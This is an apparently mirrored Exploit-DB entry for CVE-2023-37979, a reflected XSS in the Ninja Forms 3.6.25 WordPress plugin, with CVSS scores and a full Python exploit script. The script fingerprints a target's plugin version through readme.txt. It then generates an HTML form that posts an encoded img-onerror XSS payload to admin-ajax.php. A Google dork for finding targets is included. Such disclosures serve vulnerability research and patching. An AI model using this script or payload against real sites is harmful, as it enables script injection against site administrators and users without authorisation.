WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS

2023-08-0400:00:00

Mehran Seifalinia

www.exploit-db.com

179

wordpress

ninja forms

reflected xss

authenticated

cve-2023-37979

mehran seifalinia

security vulnerability

web security

7.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

6.8 Medium

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

43.4%

JSON

# Exploit Title: WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS (Authenticated)
# Google Dork: inurl:/wp-content/plugins/ninja-forms/readme.txt
# Date: 2023-07-27
# Exploit Author: Mehran Seifalinia
# Vendor Homepage: https://ninjaforms.com/
# Software Link: https://downloads.wordpress.org/plugin/ninja-forms.3.6.25.zip
# Version: 3.6.25
# Tested on: Windows 10
# CVE: CVE-2023-37979

from requests import get
from sys import argv
from os import getcwd
import webbrowser
from time import sleep


# Values:
url = argv[-1]
if url[-1] == "/":
    url = url.rstrip("/")

# Constants
CVE_NAME = "CVE-2023-37979"
VULNERABLE_VERSION = "3.6.25"

  # HTML template
HTML_TEMPLATE = f"""<!DOCTYPE html>
<!-- Created By Mehran Seifalinia -->
<html>
<head>
  <title>{CVE_NAME}</title>
  <style>
    body {{
      font-family: Arial, sans-serif;
      background-color: #f7f7f7;
      color: #333;
      margin: 0;
      padding: 0;
    }}
    header {{
      background-color: #4CAF50;
      padding: 10px;
      text-align: center;
      color: white;
      font-size: 24px;
    }}
    .cool-button {{
      background-color: #007bff;
      color: white;
      padding: 10px 20px;
      border: none;
      cursor: pointer;
      font-size: 16px;
      border-radius: 4px;
    }}
    .cool-button:hover {{
      background-color: #0056b3;
    }}
  </style>
</head>
<body>
  <header>
	Ninja-forms reflected XSS ({CVE_NAME})</br>
    Created by Mehran Seifalinia
  </header>
  <div style="padding: 20px;">
    <form action="{url}/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="nf&#95;batch&#95;process" />
      <input type="hidden" name="batch&#95;type" value="import&#95;form&#95;template" />
      <input type="hidden" name="security" value="e29f2d8dca" />
      <input type="hidden" name="extraData&#91;template&#93;" value="formtemplate&#45;contactformd" />
      <input type="hidden" name="method&#95;override" value="&#95;respond" />
      <input type="hidden" name="data" value="Mehran"&#125;&#125;<img&#32;src&#61;Seifalinia&#32;onerror&#61;alert&#40;String&#46;fromCharCode&#40;78&#44;105&#44;110&#44;106&#44;97&#44;45&#44;102&#44;111&#44;114&#44;109&#44;115&#44;32&#44;114&#44;101&#44;102&#44;108&#44;101&#44;99&#44;116&#44;101&#44;100&#44;32&#44;88&#44;83&#44;83&#44;10&#44;67&#44;86&#44;69&#44;45&#44;50&#44;48&#44;50&#44;51&#44;45&#44;51&#44;55&#44;57&#44;55&#44;57&#44;10&#44;45&#44;77&#44;101&#44;104&#44;114&#44;97&#44;110&#44;32&#44;83&#44;101&#44;105&#44;102&#44;97&#44;108&#44;105&#44;110&#44;105&#44;97&#44;45&#41;&#41;>" />
      <input type="submit" class="cool-button" value="Click here to Execute XSS" />
    </form>
  </div>
  <div style="background-color:red;color:white;padding:1%;">After click on the button, If you received a 0 or received an empty page in browser , that means you need to login first.</div>
  <footer>
	<a href="https://github.com/Mehran-Seifalinia">Github</a>
	</br>
	<a href="https://www.linkedin.com/in/mehran-seifalinia-63577a1b6/?originalSubdomain=ir">LinkedIn</a
  </footer>
</body>
</html>
"""

def exploit():
    with open(f"{CVE_NAME}.html", "w") as poc:
        poc.write(HTML_TEMPLATE)
        print(f"[@] POC Generated at {getcwd()}\{CVE_NAME}.html")
        print("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^")
        sleep(2)
        webbrowser.open(f"{getcwd()}\{CVE_NAME}.html")

# Check if the vulnerable version is installed
def check_CVE():
    try:
        response = get(url + "/wp-content/plugins/ninja-forms/readme.txt")
        if response.status_code != 200 or not("Ninja Forms" in response.text):
            print("[!] Ninja-forms plugin has not installed on this site.")
            return False
        else:
            version = response.text.split("Stable tag:")[1].split("License")[0].split()[0]
            main_version = int(version.split(".")[0])
            partial_version = int(version.split(".")[1])
            final_version = int(version.split(".")[2])
            if (main_version < 3) or (main_version == 3 and partial_version < 6) or (main_version == 3 and partial_version == 6 and final_version <= 25):
                print(f"[*] Vulnerable Nonja-forms version {version} detected!")
                return True
            else:
                print(f"[!] Nonja-forms version {version} is not vulnerable!")
                return False
    except Exception as error:
        print(f"[!] Error: {error}")
        exit()

# Check syntax of the script
def check_script():
    usage = f"""
Usage: {argv[0].split("/")[-1].split("/")[-1]} [OPTIONS] [TARGET]

    OPTIONS:
        --exploit:  Open a browser and execute the vulnerability.
    TARGET:
        An URL starts with 'http://' or 'https://'

Examples:
    > {argv[0].split("/")[-1]} https://vulnsite.com
    > {argv[0].split("/")[-1]} --exploit https://vulnsite.com
"""
    try:
        if len(argv) < 2 or len(argv) > 3:
            print("[!] Syntax error...")
            print(usage)
            exit()
        elif not url.startswith(tuple(["http://", "https://"])):
            print("[!] Invalid target...\n\tTarget most starts with 'http://' or 'https://'")
            exit()
        else:
            for arg in argv:
                if arg == argv[0]:
                    print("[*]Starting the script >>>")
                    state = check_CVE()
                    if state == False:
                        exit()
                elif arg.lower() == "--exploit":
                    exploit()
                elif arg == url:
                    continue
                else:
                    print(f"[!] What the heck is '{arg}' in the command?")
    except Exception as error:
        print(f"[!] Error: {error}")
        exit()

if __name__ == "__main__":
    check_script()